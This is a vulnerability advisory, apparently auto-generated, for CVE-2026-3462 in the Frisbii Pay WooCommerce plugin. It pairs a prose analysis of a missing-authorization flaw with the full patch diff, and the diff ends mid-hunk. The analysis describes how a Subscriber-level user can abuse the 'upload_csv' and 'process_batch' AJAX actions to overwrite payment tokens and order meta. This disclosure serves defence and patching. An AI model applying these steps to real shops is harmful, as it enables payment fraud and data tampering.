Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : June 26, 2026

CVE-2026-3462: Frisbii Pay <= 1.8.9 Missing Authorization to Authenticated (Subscriber+) Payment Token Modification PoC, Patch Analysis & Rule

CVE ID CVE-2026-3462
Severity Medium (CVSS 6.5)
CWE 862
Vulnerable Version 1.8.9
Patched Version 1.8.10
Disclosed June 25, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3462:
The Frisbii Pay plugin for WordPress (versions up to 1.8.9) contains a missing authorization vulnerability in its admin AJAX handler. Authenticated attackers with Subscriber-level access can upload arbitrary CSV data and overwrite WooCommerce payment tokens, postmeta, and order meta records. The CVSS score is 6.5, indicating moderate severity with potential for significant data integrity impact.

The root cause is the absence of capability checks in the ‘upload_csv’ and ‘process_batch’ functions located in /includes/Admin/MigrationMobilepayToVipps.php. These functions are registered as WordPress AJAX actions accessible via admin-ajax.php. In the vulnerable version, the class constructor hooks these methods without verifying user permissions. The ‘upload_csv’ function (line 128-168 of the diff) processes file uploads using $_FILES and inserts CSV data directly into the WordPress database via $wpdb->insert, while ‘process_batch’ (line 175-182) reads from a temporary table and updates payment tokens, postmeta, and order_meta records. Neither function calls current_user_can() or checks for administrative capabilities.

Exploitation requires a valid WordPress account with at least Subscriber role. The attacker sends a POST request to /wp-admin/admin-ajax.php with action parameter ‘upload_csv’ and a crafted CSV file containing malicious payment token data. The CSV file includes fields such as subscription handle, token type, masked card number, expiry date, and invoice handle. After upload, the attacker triggers ‘process_batch’ which iterates through the temporary table and updates WooCommerce token records and postmeta using SQL UPDATE statements via $wpdb->query. No nonce verification existed on these endpoints before the patch.

The patch adds two authorization layers. First, a capability check using current_user_can(‘manage_options’) at the start of both ‘upload_csv’ and ‘process_batch’ functions. Second, a nonce verification using check_ajax_referer(‘reepay_migration_nonce’, ‘nonce’) for both endpoints, ensuring only administrators can trigger these operations. The patch also modifies the verify_nonce method in Ajax.php to require manage_woocommerce capability before nonce validation.

Successful exploitation allows an attacker to inject arbitrary payment tokens into WooCommerce, overwrite order meta records, and manipulate postmeta data. This could lead to unauthorized payments, order state manipulation, and potential financial fraud. The attacker can associate stolen or fraudulent payment methods with legitimate user accounts, initiate unauthorized charges, and corrupt order history.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/reepay-checkout-gateway/includes/Actions/ReepayCustomer.php
+++ b/reepay-checkout-gateway/includes/Actions/ReepayCustomer.php
@@ -38,6 +38,14 @@
 	 * @param int $user_id user id to set handle.
 	 */
 	public static function set_reepay_handle( int $user_id ): string {
+		// Per-request cache: prevents duplicate API lookups for the same user within one request.
+		// This avoids a double call when user_register hook fires first, then rp_get_customer_handle()
+		// calls set_reepay_handle() again during the same checkout process.
+		static $cache = array();
+		if ( array_key_exists( $user_id, $cache ) ) {
+			return $cache[ $user_id ];
+		}
+
 		$customer = new WC_Customer( $user_id );

 		$email = $customer->get_billing_email();
@@ -50,20 +58,23 @@
 		}

 		if ( empty( $email ) ) {
-			return '';
+			$cache[ $user_id ] = '';
+			return $cache[ $user_id ];
 		}

 		$reepay_customers = reepay()->api( 'reepay_user_register' )->request( 'GET', "https://api.reepay.com/v1/list/customer?email=$email" );

 		if ( is_wp_error( $reepay_customers ) || empty( $reepay_customers['content'][0] ) ) {
-			return '';
+			$cache[ $user_id ] = '';
+			return $cache[ $user_id ];
 		}

 		$customer_handle = $reepay_customers['content'][0]['handle'];

 		update_user_meta( $user_id, 'reepay_customer_id', $customer_handle );

-		return $customer_handle;
+		$cache[ $user_id ] = $customer_handle;
+		return $cache[ $user_id ];
 	}

 	/**
--- a/reepay-checkout-gateway/includes/Admin/Ajax.php
+++ b/reepay-checkout-gateway/includes/Admin/Ajax.php
@@ -49,13 +49,17 @@
 	}

 	/**
-	 * Exit if wrong nonce
+	 * Exit if wrong nonce or insufficient permissions
 	 *
 	 * @param string $action action to verify.
 	 *
 	 * @return bool
 	 */
 	private function verify_nonce( $action = 'nonce' ): bool {
+		if ( ! current_user_can( 'manage_woocommerce' ) ) {
+			wp_send_json_error( 'Unauthorized', 403 );
+		}
+
 		if ( ! wp_verify_nonce( $_REQUEST['nonce'] ?? '', $action ) ) {
 			exit( 'No naughty business' );
 		}
--- a/reepay-checkout-gateway/includes/Admin/MigrationMobilepayToVipps.php
+++ b/reepay-checkout-gateway/includes/Admin/MigrationMobilepayToVipps.php
@@ -90,6 +90,7 @@
 			'migration-mobilepay-vippsmobilepay',
 			'migrationData',
 			array(
+				'nonce'             => wp_create_nonce( 'reepay_migration_nonce' ),
 				'upload_csv'        => __( 'Only upload .csv', 'reepay-checkout-gateway' ),
 				'confirm_migration' => __( 'Are you sure you want to start the migration?', 'reepay-checkout-gateway' ),
 				'choose_file'       => __( 'Choose file before upload', 'reepay-checkout-gateway' ),
@@ -127,6 +128,12 @@
 	 * Ajax upload csv to database.
 	 */
 	public function upload_csv() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Unauthorized', 403 );
+		}
+
+		check_ajax_referer( 'reepay_migration_nonce', 'nonce' );
+
 		if ( ! empty( $_FILES['migration_file']['tmp_name'] ) ) {

 			global $wp_filesystem;
@@ -168,6 +175,12 @@
 	 * Ajax process update data.
 	 */
 	public function process_batch() {
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Unauthorized', 403 );
+		}
+
+		check_ajax_referer( 'reepay_migration_nonce', 'nonce' );
+
 		global $wpdb;

 		$offset   = isset( $_POST['offset'] ) ? intval( $_POST['offset'] ) : 0;
--- a/reepay-checkout-gateway/includes/Api.php
+++ b/reepay-checkout-gateway/includes/Api.php
@@ -343,6 +343,28 @@
 	}

 	/**
+	 * Request-scoped cache for invoice-not-found results (error code 31).
+	 * Prevents repeated 404 API calls for the same handle within a single request.
+	 *
+	 * @var array<string, WP_Error>
+	 */
+	private static array $invoice_not_found_cache = array();
+
+	/**
+	 * Check if the order is a Reepay subscription order (no invoice exists on Frisbii).
+	 * Subscription orders don't create invoices — Frisbii creates its own invoices
+	 * via webhooks which generate renewal orders instead.
+	 *
+	 * @param WC_Order $order order to check.
+	 *
+	 * @return bool
+	 */
+	private function is_reepay_subscription_order( WC_Order $order ): bool {
+		return class_exists( WC_Reepay_Renewals::class )
+			&& WC_Reepay_Renewals::is_order_contain_subscription( $order );
+	}
+
+	/**
 	 * Get Invoice data by handle.
 	 *
 	 * @param string $handle invoice handle.
@@ -350,7 +372,19 @@
 	 * @return array|WP_Error
 	 */
 	public function get_invoice_by_handle( string $handle ) {
-		return $this->request( 'GET', 'https://api.reepay.com/v1/invoice/' . $handle );
+		// FIX: Return cached not-found result to avoid repeated 404s for the same handle.
+		if ( isset( self::$invoice_not_found_cache[ $handle ] ) ) {
+			return self::$invoice_not_found_cache[ $handle ];
+		}
+
+		$result = $this->request( 'GET', 'https://api.reepay.com/v1/invoice/' . $handle );
+
+		// Cache not-found results (error code 31) for the duration of this request.
+		if ( is_wp_error( $result ) && 31 === (int) $result->get_error_code() ) {
+			self::$invoice_not_found_cache[ $handle ] = $result;
+		}
+
+		return $result;
 	}

 	/**
@@ -371,6 +405,16 @@
 			return new WP_Error( 0, 'Unable to get invoice data.' );
 		}

+		// Skip subscription orders — they don't have invoices on Frisbii.
+		// Frisbii creates its own invoices and sends webhooks for renewal orders.
+		if ( $this->is_reepay_subscription_order( $order ) ) {
+			return new WP_Error(
+				0,
+				sprintf( 'Order %d is a subscription order — no invoice on Frisbii.', $order->get_id() ),
+				'subscription_no_invoice'
+			);
+		}
+
 		$handle = rp_get_order_handle( $order );

 		if ( empty( $handle ) ) {
@@ -379,6 +423,14 @@

 		$order_data = $this->get_invoice_by_handle( $handle );

+		// FIX: Retry once after short delay for race condition (error code 31 = Invoice not found).
+		if ( is_wp_error( $order_data ) && 31 === (int) $order_data->get_error_code() ) {
+			// Clear the request-scoped cache so the retry actually hits the API.
+			unset( self::$invoice_not_found_cache[ $handle ] );
+			sleep( 2 );
+			$order_data = $this->get_invoice_by_handle( $handle );
+		}
+
 		if ( is_wp_error( $order_data ) ) {
 			$this->log(
 				sprintf(
@@ -1270,7 +1322,10 @@
 			}
 		}

-		if ( ReepayCustomer::have_same_handle( $order->get_customer_id(), $handle ) ) {
+		// Skip have_same_handle() for guest orders (customer_id = 0):
+		// Guest handles are always cust-{timestamp} which is unique by design,
+		// and there is no WP user to compare emails against — the API call would always return 404.
+		if ( $order->get_customer_id() > 0 && ReepayCustomer::have_same_handle( $order->get_customer_id(), $handle ) ) {
 			$handle = 'cust-' . time();
 			update_user_meta( $order->get_customer_id(), 'reepay_customer_id', $handle );
 		}
@@ -1289,6 +1344,16 @@
 	 * @return false|string
 	 */
 	public function get_customer_handle( WC_Order $order ) {
+		// Skip subscription orders — they don't have invoices on Frisbii.
+		if ( $this->is_reepay_subscription_order( $order ) ) {
+			return null;
+		}
+
+		// The invoice has not been created on Frisbii if the order is still in a pending status.
+		if ( $order->has_status( 'pending' ) ) {
+			return null;
+		}
+
 		$handle = rp_get_order_handle( $order );

 		$result = get_transient( 'reepay_invoice_' . $handle );
--- a/reepay-checkout-gateway/includes/Api/Controller/DebugController.php
+++ b/reepay-checkout-gateway/includes/Api/Controller/DebugController.php
@@ -55,6 +55,10 @@
 	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
 	 */
 	public function run_debug( WP_REST_Request $request ) {
+		if ( ! defined( 'WP_DEBUG' ) || ! WP_DEBUG ) {
+			return new WP_Error( 'rest_forbidden', esc_html__( 'Debug endpoint is only available when WP_DEBUG is enabled.', 'reepay-checkout-gateway' ), array( 'status' => 403 ) );
+		}
+
 		$code = $request['code'];
 		ob_start();

--- a/reepay-checkout-gateway/includes/Gateways/ReepayCheckout.php
+++ b/reepay-checkout-gateway/includes/Gateways/ReepayCheckout.php
@@ -240,6 +240,32 @@
 				),
 				'default'     => self::METHOD_WINDOW,
 			),
+			'language'                   => array(
+				'title'   => __( 'Language In Payment Window', 'reepay-checkout-gateway' ),
+				'type'    => 'select',
+				'options' => array(
+					''      => __( 'Detect Automatically', 'reepay-checkout-gateway' ),
+					'en_US' => __( 'English', 'reepay-checkout-gateway' ),
+					'da_DK' => __( 'Danish', 'reepay-checkout-gateway' ),
+					'sv_SE' => __( 'Swedish', 'reepay-checkout-gateway' ),
+					'no_NO' => __( 'Norwegian', 'reepay-checkout-gateway' ),
+					'fi_FI' => __( 'Finnish', 'reepay-checkout-gateway' ),
+					'is_IS' => __( 'Icelandic', 'reepay-checkout-gateway' ),
+					'de_DE' => __( 'German', 'reepay-checkout-gateway' ),
+					'es_ES' => __( 'Spanish', 'reepay-checkout-gateway' ),
+					'fr_FR' => __( 'French', 'reepay-checkout-gateway' ),
+					'it_IT' => __( 'Italian', 'reepay-checkout-gateway' ),
+					'nl_NL' => __( 'Dutch', 'reepay-checkout-gateway' ),
+					'pl_PL' => __( 'Polish', 'reepay-checkout-gateway' ),
+					'hu_HU' => __( 'Hungarian', 'reepay-checkout-gateway' ),
+					'ro_RO' => __( 'Romanian', 'reepay-checkout-gateway' ),
+					'cs_CZ' => __( 'Czech', 'reepay-checkout-gateway' ),
+					'el_GR' => __( 'Greek', 'reepay-checkout-gateway' ),
+					'sk_SK' => __( 'Slovak', 'reepay-checkout-gateway' ),
+					'sr_RS' => __( 'Serbian', 'reepay-checkout-gateway' ),
+				),
+				'default' => 'en_US',
+			),
 			'payment_methods'            => array(
 				'title'       => __( 'Payment Methods', 'reepay-checkout-gateway' ),
 				'description' => __( 'Payment Methods', 'reepay-checkout-gateway' ),
@@ -287,31 +313,19 @@
 				'select_buttons' => true,
 				'default'        => array(),
 			),
-			'language'                   => array(
-				'title'   => __( 'Language In Payment Window', 'reepay-checkout-gateway' ),
-				'type'    => 'select',
-				'options' => array(
-					''      => __( 'Detect Automatically', 'reepay-checkout-gateway' ),
-					'en_US' => __( 'English', 'reepay-checkout-gateway' ),
-					'da_DK' => __( 'Danish', 'reepay-checkout-gateway' ),
-					'sv_SE' => __( 'Swedish', 'reepay-checkout-gateway' ),
-					'no_NO' => __( 'Norwegian', 'reepay-checkout-gateway' ),
-					'fi_FI' => __( 'Finnish', 'reepay-checkout-gateway' ),
-					'is_IS' => __( 'Icelandic', 'reepay-checkout-gateway' ),
-					'de_DE' => __( 'German', 'reepay-checkout-gateway' ),
-					'es_ES' => __( 'Spanish', 'reepay-checkout-gateway' ),
-					'fr_FR' => __( 'French', 'reepay-checkout-gateway' ),
-					'it_IT' => __( 'Italian', 'reepay-checkout-gateway' ),
-					'nl_NL' => __( 'Dutch', 'reepay-checkout-gateway' ),
-					'pl_PL' => __( 'Polish', 'reepay-checkout-gateway' ),
-					'hu_HU' => __( 'Hungarian', 'reepay-checkout-gateway' ),
-					'ro_RO' => __( 'Romanian', 'reepay-checkout-gateway' ),
-					'cs_CZ' => __( 'Czech', 'reepay-checkout-gateway' ),
-					'el_GR' => __( 'Greek', 'reepay-checkout-gateway' ),
-					'sk_SK' => __( 'Slovak', 'reepay-checkout-gateway' ),
-					'sr_RS' => __( 'Serbian', 'reepay-checkout-gateway' ),
-				),
-				'default' => 'en_US',
+			'allow_partial_settle'       => array(
+				'title'       => __( 'Partial instant settle', 'reepay-checkout-gateway' ),
+				'type'        => 'checkbox',
+				'label'       => __( 'Allow partial instant settlement', 'reepay-checkout-gateway' ),
+				'description' => __( 'Un-check to hinder that orders for mixed product types get automatic settlement for some of the products.', 'reepay-checkout-gateway' ),
+				'default'     => 'yes',
+			),
+			'skip_pro_rated_on_thankyou' => array(
+				'title'       => __( 'Pro-rated information', 'reepay-checkout-gateway' ),
+				'type'        => 'checkbox',
+				'label'       => __( 'Don't show pro-rated information on the Thanks for order page', 'reepay-checkout-gateway' ),
+				'description' => __( 'Check this to skip the pro-rated subscription price check on the Thank You page. This improves page load speed for mixed orders when pro-rated pricing is not used.', 'reepay-checkout-gateway' ),
+				'default'     => 'no',
 			),
 			'disable_auto_settle'        => array(
 				'title'       => __( 'Auto-settle', 'reepay-checkout-gateway' ),
@@ -400,7 +414,7 @@
 				'title'       => __( 'Order handle failover', 'reepay-checkout-gateway' ),
 				'type'        => 'checkbox',
 				'label'       => __( 'Order handle failover', 'reepay-checkout-gateway' ),
-				'description' => __( 'In case if invoice with current handle was settled before, plugin will generate unique handle', 'reepay-checkout-gateway' ),
+				'description' => __( 'In case an invoice with the current handle was settled before, the plugin will generate a unique handle.', 'reepay-checkout-gateway' ),
 				'default'     => 'yes',
 			),
 			'order_handle_prefix'        => array(
@@ -464,18 +478,18 @@
 				'description' => __( 'Select if order lines should not be send to Frisbii Pay', 'reepay-checkout-gateway' ),
 				'type'        => 'select',
 				'options'     => array(
-					'no'  => 'Include order lines',
-					'yes' => 'Skip order lines',
+					'no'  => __( 'Include order lines', 'reepay-checkout-gateway' ),
+					'yes' => __( 'Skip order lines', 'reepay-checkout-gateway' ),
 				),
 				'default'     => 'no',
 			),
 			'enable_order_autocancel'    => array(
 				'title'       => __( 'Order auto-cancel', 'reepay-checkout-gateway' ),
-				'description' => __( 'Allow or prefer no automatic order cancel', 'reepay-checkout-gateway' ),
+				'description' => __( 'Allow or prefer no automatic order cancel?', 'reepay-checkout-gateway' ),
 				'type'        => 'select',
 				'options'     => array(
-					'yes' => 'Allow auto-cancel',
-					'no'  => 'Prefer no auto-cancel',
+					'yes' => __( 'Allow auto-cancel', 'reepay-checkout-gateway' ),
+					'no'  => __( 'Prefer no auto-cancel', 'reepay-checkout-gateway' ),
 				),
 				'default'     => 'no',
 			),
--- a/reepay-checkout-gateway/includes/Gateways/ReepayGateway.php
+++ b/reepay-checkout-gateway/includes/Gateways/ReepayGateway.php
@@ -1293,6 +1293,7 @@
 					'source'          => 'process_payment_updating_customer',
 					'order_id'        => $order_id,
 					'customer_handle' => $customer_handle,
+					'customer_data'   => $params['order']['customer'],
 				)
 			);

--- a/reepay-checkout-gateway/includes/OrderFlow/InstantSettle.php
+++ b/reepay-checkout-gateway/includes/OrderFlow/InstantSettle.php
@@ -49,6 +49,28 @@
 	}

 	/**
+	 * Check if all order items are virtual (no shipping needed).
+	 *
+	 * Note: This differs from WC_Order::needs_processing() which requires products
+	 * to be both virtual AND downloadable. We only check virtual/no-shipping since
+	 * virtual-only products (not downloadable) should also be eligible for auto-settlement.
+	 *
+	 * @param WC_Order $order order to check.
+	 *
+	 * @return bool
+	 */
+	private static function is_order_virtual_only( WC_Order $order ): bool {
+		foreach ( $order->get_items() as $item ) {
+			$product = $item->get_product();
+			if ( $product && $product->needs_shipping() ) {
+				return false;
+			}
+		}
+
+		return count( $order->get_items() ) > 0;
+	}
+
+	/**
 	 * Set order capture instance
 	 *
 	 * @TODO remove this static method and replace other static methods with non static methods
@@ -73,6 +95,27 @@
 					return;
 				}
 				$this->process_instant_settle( $order );
+
+				// If instant settle didn't settle any items and the order contains
+				// only virtual products, call payment_complete() so WooCommerce and
+				// third-party plugins can set the correct order status (e.g. "completed").
+				// OrderCapture::capture_full_order() handles settlement on "completed" transition.
+				// Only do this when settle types are configured — if nothing is selected,
+				// the merchant has not opted into instant settlement.
+				$settle_types = reepay()->get_setting( 'settle' ) ?: array();
+
+				if ( ! empty( $settle_types ) && empty( $order->get_meta( '_is_instant_settled' ) ) && self::is_order_virtual_only( $order ) ) {
+					// Allow payment_complete() to run on "processing" orders since
+					// the webhook handler may have already set the authorized status.
+					$allow_processing = function ( $statuses ) {
+						$statuses[] = 'processing';
+						return $statuses;
+					};
+
+					add_filter( 'woocommerce_valid_order_statuses_for_payment_complete', $allow_processing );
+					$order->payment_complete();
+					remove_filter( 'woocommerce_valid_order_statuses_for_payment_complete', $allow_processing );
+				}
 			}
 		}
 	}
@@ -89,6 +132,18 @@
 			return;
 		}

+		// When partial instant settle is disabled, only settle if ALL product items
+		// can be settled instantly. If any product item cannot be settled, skip entirely.
+		// This only checks product items — fees and shipping follow existing logic.
+		if ( 'no' === reepay()->get_setting( 'allow_partial_settle' ) ) {
+			foreach ( $order->get_items() as $order_item ) {
+				$product = $order_item->get_product();
+				if ( ! self::can_product_be_settled_instantly( $product ) ) {
+					return;
+				}
+			}
+		}
+
 		$settle_items = self::get_instant_settle_items( $order );

 		$items_data = array();
@@ -103,7 +158,8 @@
 					$price     = OrderCapture::get_item_price( $item, $order );
 					$total     = rp_prepare_amount( $price['with_tax'], $order->get_currency() );

-					if ( $total <= 0 && method_exists( $item, 'get_product' ) && wcs_is_subscription_product( $item->get_product() ) ) {
+					$_product = method_exists( $item, 'get_product' ) ? $item->get_product() : false;
+					if ( $total <= 0 && $_product instanceof WC_Product && wcs_is_subscription_product( $_product ) ) {
 						WC_Subscriptions_Manager::activate_subscriptions_for_order( $order );
 					} elseif ( $total > 0 && self::$order_capture->check_capture_allowed( $order ) ) {
 						$items_data[] = $item_data;
--- a/reepay-checkout-gateway/includes/OrderFlow/OrderCapture.php
+++ b/reepay-checkout-gateway/includes/OrderFlow/OrderCapture.php
@@ -193,7 +193,7 @@
 			)
 		);

-		if ( 'completed' === $this_status_transition_to && 'no' === reepay()->get_setting( 'disable_auto_settle' ) && ( '1' === $value || false === $value ) ) {
+		if ( OrderStatuses::$status_settled === $this_status_transition_to && 'no' === reepay()->get_setting( 'disable_auto_settle' ) && ( '1' === $value || false === $value ) ) {
 			$this->log(
 				array(
 					__METHOD__,
@@ -294,7 +294,8 @@
 	 * @param WC_Order      $order woocomemrce order.
 	 */
 	public function activate_woocommerce_subscription( WC_Order_Item $item, WC_Order $order ) {
-		if ( method_exists( $item, 'get_product' ) && wcs_is_subscription_product( $item->get_product() ) ) {
+		$product = method_exists( $item, 'get_product' ) ? $item->get_product() : false;
+		if ( $product instanceof WC_Product && wcs_is_subscription_product( $product ) ) {
 			WC_Subscriptions_Manager::activate_subscriptions_for_order( $order );
 		}
 	}
@@ -317,14 +318,16 @@
 			)
 		);

-		$invoice_data = reepay()->api( $order )->get_invoice_by_handle( 'order-' . $order->get_id() );
-		if ( is_array( $invoice_data ) && array_key_exists( 'authorized_amount', $invoice_data ) && array_key_exists( 'settled_amount', $invoice_data ) && $invoice_data['authorized_amount'] - $invoice_data['settled_amount'] <= 0 ) {
+		// Disable settle for renewal/subscription order — skip API call entirely.
+		// Subscription child orders (renewal) don't have invoices at order-{id} on Frisbii;
+		// Frisbii creates its own invoice handles (inv-XXXXX) and manages settlement itself.
+		$post = get_post( ! empty( $order ) ? $order->get_id() : null );
+		if ( ! empty( $order->get_meta( '_reepay_order' ) ) && ( 0 !== $post->post_parent || ! empty( $order->get_meta( '_reepay_is_renewal' ) ) ) ) {
 			return false;
 		}

-		// Disable settle for renewal order.
-		$post = get_post( ! empty( $order ) ? $order->get_id() : null );
-		if ( ! empty( $order->get_meta( '_reepay_order' ) ) && ( 0 !== $post->post_parent || ! empty( $order->get_meta( '_reepay_is_renewal' ) ) ) ) {
+		$invoice_data = reepay()->api( $order )->get_invoice_by_handle( 'order-' . $order->get_id() );
+		if ( is_array( $invoice_data ) && array_key_exists( 'authorized_amount', $invoice_data ) && array_key_exists( 'settled_amount', $invoice_data ) && $invoice_data['authorized_amount'] - $invoice_data['settled_amount'] <= 0 ) {
 			return false;
 		}

--- a/reepay-checkout-gateway/includes/OrderFlow/OrderStatuses.php
+++ b/reepay-checkout-gateway/includes/OrderFlow/OrderStatuses.php
@@ -200,7 +200,7 @@
 	 * @return mixed|string
 	 */
 	public function payment_complete_order_status( string $status, int $order_id, WC_Order $order ) {
-		if ( self::$status_sync_enabled && rp_is_order_paid_via_reepay( $order ) ) {
+		if ( self::$status_sync_enabled && rp_is_order_paid_via_reepay( $order ) && ! in_array( $status, array( 'completed', 'wc-completed' ), true ) ) {
 			$status = apply_filters( 'reepay_settled_order_status', self::$status_settled, $order );
 		}

@@ -228,6 +228,11 @@
 		$order = wc_get_order( $order_id );

 		if ( self::$status_sync_enabled && rp_is_order_paid_via_reepay( $order ) ) {
+			// Don't downgrade from "completed" - OrderCapture handles settlement for completed orders.
+			if ( $order->has_status( 'completed' ) ) {
+				return;
+			}
+
 			$status = apply_filters(
 				'reepay_settled_order_status',
 				self::$status_settled,
@@ -340,6 +345,12 @@
 		} else {
 			$order->payment_complete( $transaction_id );

+			// Apply the custom settled status if sync is enabled and differs from default.
+			if ( self::$status_sync_enabled && 'completed' !== self::$status_settled ) {
+				$order->set_status( self::$status_settled );
+				$order->save();
+			}
+
 			if ( $note ) {
 				$order->add_order_note( $note, true, true );
 			}
--- a/reepay-checkout-gateway/includes/OrderFlow/ThankyouPage.php
+++ b/reepay-checkout-gateway/includes/OrderFlow/ThankyouPage.php
@@ -156,7 +156,8 @@
 			 *
 			 * @var WC_Order_Item_Product $item
 			 */
-			if ( intval( $order->get_total() ) <= 0 && wcs_is_subscription_product( $item->get_product() ) ) {
+			$_product = $item->get_product();
+			if ( intval( $order->get_total() ) <= 0 && $_product instanceof WC_Product && wcs_is_subscription_product( $_product ) ) {
 				$ret = array(
 					'state'   => 'paid',
 					'message' => 'Subscription is activated in trial',
@@ -217,6 +218,7 @@
 	 * Ajax: get order description on mix order.
 	 */
 	public function ajax_order_descriptions() {
+		check_ajax_referer( 'reepay', 'nonce' );

 		$order_id  = isset( $_POST['order_id'] ) ? wc_clean( $_POST['order_id'] ) : '';
 		$order_key = isset( $_POST['order_key'] ) ? wc_clean( $_POST['order_key'] ) : '';
--- a/reepay-checkout-gateway/includes/OrderFlow/Webhook.php
+++ b/reepay-checkout-gateway/includes/OrderFlow/Webhook.php
@@ -72,9 +72,27 @@

 		$check = bin2hex( hash_hmac( 'sha256', $data['timestamp'] . $data['id'], $secret, true ) );
 		if ( $check !== $data['signature'] ) {
-			$this->log( 'WebHook: Error: Signature verification failed' );
+			// FIX: Retry with fresh secret in case it was recently rotated.
+			delete_transient( 'reepay_webhook_settings_secret' );
+			$result = reepay()->api( $this->logging_source )->request( 'GET', 'https://api.reepay.com/v1/account/webhook_settings' );
+			if ( ! is_wp_error( $result ) && ! empty( $result['secret'] ) ) {
+				$secret = $result['secret'];
+				set_transient( 'reepay_webhook_settings_secret', $secret, HOUR_IN_SECONDS );
+				$check = bin2hex( hash_hmac( 'sha256', $data['timestamp'] . $data['id'], $secret, true ) );
+			}
+
+			if ( $check !== $data['signature'] ) {
+				$this->log(
+					sprintf(
+						'WebHook: Error: Signature verification failed. Event: %s, ID: %s, Remote IP: %s',
+						$data['event_type'] ?? 'unknown',
+						$data['id'] ?? 'unknown',
+						$_SERVER['REMOTE_ADDR'] ?? 'unknown'
+					)
+				);

-			return;
+				return;
+			}
 		}

 		try {
@@ -298,7 +316,7 @@
 					$order = wc_get_order( $order->get_id() );
 				}

-				if ( $order->has_status( OrderStatuses::$status_settled ) ) {
+				if ( $order->has_status( OrderStatuses::$status_settled ) && ! empty( $order->get_meta( '_reepay_state_settled' ) ) ) {
 					$this->log(
 						sprintf(
 							'WebHook: Event type: %s success. But the order had status early: %s',
@@ -354,6 +372,14 @@
 						'',
 						$data['transaction']
 					);
+
+					// Force renewal orders to "completed" regardless of the status_settled setting.
+					if ( isset( $data['subscription'] ) ) {
+						$order = wc_get_order( $order->get_id() );
+						if ( $order && ! $order->has_status( 'completed' ) ) {
+							$order->update_status( 'completed', __( 'Renewal order completed via Frisbii.', 'reepay-checkout-gateway' ) );
+						}
+					}
 				} elseif ( function_exists( 'wc_get_logger' ) ) {
 					// Log to reepay_order_statuses log.
 					wc_get_logger()->debug(
@@ -542,9 +568,16 @@
 				$this->log( sprintf( 'WebHook: Success event type: %s', $data['event_type'] ) );
 				break;
 			case 'invoice_created':
+				// FIX: Graceful skip for non-subscription invoices that lack these params.
 				if ( ! isset( $data['invoice'] ) || ! isset( $data['subscription'] ) ) {
-					$this->log( $data );
-					throw new Exception( 'Missing invoice or subscription parameter' );
+					$this->log(
+						sprintf(
+							'WebHook: invoice_created event skipped — missing %s. ID: %s',
+							! isset( $data['invoice'] ) ? 'invoice' : 'subscription',
+							$data['id'] ?? 'unknown'
+						)
+					);
+					break;
 				}

 				$order = rp_get_order_by_subscription_handle( $data['subscription'] );
--- a/reepay-checkout-gateway/reepay-woocommerce-payment.php
+++ b/reepay-checkout-gateway/reepay-woocommerce-payment.php
@@ -4,7 +4,7 @@
  * Description: Get a plug-n-play payment solution for WooCommerce, that is easy to use, highly secure and is built to maximize the potential of your e-commerce.
  * Author: Frisbii
  * Author URI: https://frisbii.com
- * Version: 1.8.9
+ * Version: 1.8.10
  * Text Domain: reepay-checkout-gateway
  * Domain Path: /languages
  * WC requires at least: 3.0.0
@@ -184,6 +184,8 @@
 				'private_key_test'           => ! empty( $gateway_settings['private_key_test'] ) ? $gateway_settings['private_key_test'] : '',
 				'test_mode'                  => ! empty( $gateway_settings['test_mode'] ) ? $gateway_settings['test_mode'] : '',
 				'settle'                     => ! empty( $gateway_settings['settle'] ) ? $gateway_settings['settle'] : array(),
+				'allow_partial_settle'       => ! empty( $gateway_settings['allow_partial_settle'] ) ? $gateway_settings['allow_partial_settle'] : 'yes',
+				'skip_pro_rated_on_thankyou' => ! empty( $gateway_settings['skip_pro_rated_on_thankyou'] ) ? $gateway_settings['skip_pro_rated_on_thankyou'] : 'no',
 				'language'                   => ! empty( $gateway_settings['language'] ) ? $gateway_settings['language'] : '',
 				'debug'                      => ! empty( $gateway_settings['debug'] ) ? $gateway_settings['debug'] : '',
 				'show_meta_fields_in_orders' => ! empty( $gateway_settings['show_meta_fields_in_orders'] ) ? $gateway_settings['show_meta_fields_in_orders'] : '',
--- a/reepay-checkout-gateway/templates/checkout/order-details.php
+++ b/reepay-checkout-gateway/templates/checkout/order-details.php
@@ -40,7 +40,11 @@


 	<?php
-	$pro_rated_subscription = ThankyouPage::get_pro_rated_reepay_subscription( $order );
+	if ( 'yes' === reepay()->get_setting( 'skip_pro_rated_on_thankyou' ) ) {
+		$pro_rated_subscription = null;
+	} else {
+		$pro_rated_subscription = ThankyouPage::get_pro_rated_reepay_subscription( $order );
+	}
 	if ( null !== $pro_rated_subscription ) {
 		?>
 		<li class="woocommerce-order-overview__total reepay-pro-rated total">
--- a/reepay-checkout-gateway/templates/checkout/thankyou.php
+++ b/reepay-checkout-gateway/templates/checkout/thankyou.php
@@ -116,9 +116,9 @@
 			if ( $show_customer_details ) {
 				wc_get_template( 'order/order-details-customer.php', array( 'order' => $order ) );
 			}
-		} else {
-			do_action( 'woocommerce_thankyou', $order->get_id() );
 		}
+
+		do_action( 'woocommerce_thankyou', $order->get_id() );
 		?>

 	<?php else : ?>
--- a/reepay-checkout-gateway/updates/update-1.1.0.php
+++ b/reepay-checkout-gateway/updates/update-1.1.0.php
@@ -1,92 +1,92 @@
-<?php
-
-use ReepayCheckoutGatewaysReepayCheckout;
-use ReepayCheckoutTokensTokenReepay;
-
-defined( 'ABSPATH' ) || exit;
-
-// Set PHP Settings
-set_time_limit( 0 );
-ini_set( 'memory_limit', '2048M' );
-
-// Logger
-$log     = new WC_Logger();
-$handler = 'wc-reepay-update';
-
-// Preliminary checking
-if ( ! function_exists( 'wcs_get_users_subscriptions' ) ) {
-	$log->add( $handler, '[INFO] WooCommerce Subscription is not installed' );
-	return;
-}
-
-// Gateway
-$gateway = new ReepayCheckout();
-
-$log->add( $handler, sprintf( 'Start upgrade %s....', basename( __FILE__ ) ) );
-
-// Load Subscriptions
-$subscriptions = array();
-foreach ( get_users() as $user ) {
-	foreach ( wcs_get_users_subscriptions( $user->ID ) as $subscription ) {
-		$subscriptions[ $subscription->get_id() ] = $subscription;
-	}
-}
-
-$log->add( $handler, sprintf( 'Loaded %s subscriptions', count( $subscriptions ) ) );
-
-// Process Subscriptions
-$cards = array();
-foreach ( $subscriptions as $subscription ) {
-	/** @var WC_Subscription $subscription */
